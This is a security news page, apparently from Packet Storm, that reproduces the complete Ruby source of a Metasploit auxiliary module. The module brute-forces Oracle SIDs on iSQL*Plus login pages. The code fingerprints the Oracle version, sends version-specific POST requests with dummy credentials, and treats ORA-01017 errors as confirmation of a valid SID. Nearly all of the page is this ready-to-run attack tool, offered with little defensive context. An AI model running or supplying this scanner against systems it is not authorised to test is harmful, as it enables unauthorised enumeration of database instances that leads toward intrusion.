Security
Headlines
HeadlinesLatestCVEs

Headline

Oracle ISQLPlus SID Check

This Metasploit module attempts to bruteforce the SID on the Oracle application server iSQLPlus login pages. It does this by testing Oracle error responses returned in the HTTP response. Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error. Works against Oracle 9.2, 10.1 and 10.2 iSQLPlus. This Metasploit module will attempt to fingerprint the version and automatically select the correct POST request.

Packet Storm
#sql#git#oracle#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::AuthBrute  include Msf::Auxiliary::Report  def initialize    super(      'Name'        => 'Oracle iSQLPlus SID Check',      'Description' => %q{        This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus        login pages.  It does this by testing Oracle error responses returned in the HTTP response.        Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.        Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus.  This module will attempt to        fingerprint the version and automatically select the correct POST request.      },      'References'  =>      [        [ 'URL', 'https://blog.carnal0wnage.com/' ],      ],      'Author'      => [ 'CG', 'todb' ],      'License'     => MSF_LICENSE      )      register_options([        Opt::RPORT(5560),        OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),        OptString.new('SID', [ false, 'A single SID to test']),        OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),        OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])      ])      deregister_options(        "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",        "BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",        "BRUTEFORCE_SPEED" # Slow as heck anyway      )  end  def sid_file    datastore['SIDFILE']  end  def hostport    [target_host,rport].join(":")  end  def uri    datastore['URI'] || "/isqlplus/"  end  def timeout    (datastore['TIMEOUT'] || 30).to_i  end  def msg    msg = "#{hostport} - Oracle iSQL*Plus -"  end  def run_host(ip)    oracle_ver = get_oracle_version(ip)    if not check_oracle_version(oracle_ver)      print_error "#{msg} Unknown Oracle version, skipping."      return    end    begin      print_status("#{msg} Starting SID check")      sid_data.each do |sid|        guess = check_oracle_sid(ip,oracle_ver,sid)        return if guess and datastore['STOP_ON_SUCCESS']      end      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e        print_error "#{msg} Cannot connect"      rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e        print_error e.message    end  end  def get_oracle_version(ip)    begin      res = send_request_cgi({        'version' => '1.1',        'uri'     => uri,        'method'  => 'GET',      }, timeout)      oracle_ver = nil      if (res.nil?)        print_error("#{msg} no response")      elsif (res.code == 200)        print_status("#{msg} Received an HTTP #{res.code}")        oracle_ver = detect_oracle_version(res)      elsif (res.code == 404)        print_error("#{msg} Received an HTTP 404, check URIPATH")      elsif (res.code == 302)        print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")      else        print_error("#{msg} Received an HTTP #{res.code}")      end      return oracle_ver    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e      print_error "#{msg} Cannot connect"    end  end  def detect_oracle_version(res)    m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)    oracle_ver = nil    oracle_ver = 10 if m[1] && m[1] =~ /10/      oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/      if oracle_ver        print_status("#{msg} Detected Oracle version #{oracle_ver}")        print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1      else        print_error("#{msg} Unknown Oracle version detected.")      end    return oracle_ver  end  def check_oracle_version(ver)    [9.0,9.1,9.2,10].include? ver  end  def build_post_request(ver,sid)    post_request = nil    case ver    when 9.0      post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"    when 9.1      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"    when 9.2      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"    when 10      post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"    end    return post_request  end  def parse_isqlplus_response(res,sid)    guess = false    if (res.nil?)      print_error("#{msg} No response")    elsif (res.code == 200)      if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)        if sid.nil? || sid.empty?          print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")        else          print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")        end        guess = true      elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)        vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")      elsif res.body =~ /(ORA-12541):/        print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")        guess = true      else        print_status("#{msg} Received an unknown error") # Should say what the error was      end    elsif (res.code == 404)      print_status("#{msg} Received an HTTP 404, check URIPATH")    elsif (res.code == 302)      print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")    else      print_status("#{msg} Received an unexpected response: #{res.code}")    end    report_isqlplus_service(target_host,res) if res    return guess  end  def report_isqlplus_service(ip,res)    sname = datastore['SSL'] ? 'https' : 'http'    report_service(      :host => ip,      :proto => 'tcp',      :port => rport,      :name => sname,      :info => res.headers["Server"].to_s.strip    )  end  def report_oracle_sid(ip,sid)    report_note(      :host => ip,      :proto => 'tcp',      :port => rport,      :type => "oracle.sid",      :data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),      :update => :unique_data    )  end  def sid_data    if datastore['SID'] and not datastore['SID'].empty?      [datastore['SID']]    elsif sid_file and ::File.readable? sid_file      ::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq    else      raise ArugmentError, "Cannot read file '#{sid_file}'"    end  end  def check_oracle_sid(ip,oracle_ver,sid)    post_request = build_post_request(oracle_ver,sid)    vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."    res = send_request_cgi({      'version' => '1.1',      'uri'     => uri,      'method'  => 'POST',      'data'   => post_request,      'headers' =>      {        'Referer' => "http://#{ip}:#{rport}#{uri}"      }    }, timeout)    guess = parse_isqlplus_response(res,sid)    report_oracle_sid(ip,sid) if guess    return guess  endend

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution